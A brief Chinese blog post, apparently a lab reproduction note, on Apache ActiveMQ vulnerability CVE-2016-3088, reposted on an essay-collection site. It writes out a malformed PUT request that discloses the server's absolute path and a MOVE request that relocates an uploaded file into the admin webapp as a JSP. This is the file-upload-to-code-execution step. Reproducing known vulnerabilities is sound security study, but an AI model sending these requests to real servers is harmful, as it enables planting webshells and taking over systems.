美文网首页
ActiveMQ漏洞( CVE-2016-3088)

ActiveMQ漏洞( CVE-2016-3088)

作者: 钦玄 | 来源:发表于2016-12-10 17:35 被阅读1174次

本地用kali搭建复现一下

受影响的版本：Apache Group ActiveMQ 5.0.0 - 5.13.2

下载地址：http://archive.apache.org/dist/activemq/5.10.1/apache-activemq-5.10.1-bin.tar.gz

解压：tar -xzf apache-activemq-5.10.1-bin.tar.gz

启动：/home/apache-activemq-5.10.1/bin/linux-x86-32# ./activemq start

            Starting ActiveMQ Broker...

爆绝对路径

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1

路径：/home/apache-activemq-5.10.1/webapps/fileserver/

fileserver目录下jsp是不被执行了，而且是不能直接上传jsp文件

MOVE /fileserver/test.txt HTTP/1.1

Destination:file:/home/apache-activemq-5.10.1/webapps/admin/test.jsp

相关文章

网友评论

      本文标题：ActiveMQ漏洞( CVE-2016-3088)

      本文链接：https://www.haomeiwen.com/subject/udwqmttx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|ActiveMQ漏洞( CVE-2016-3088)|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！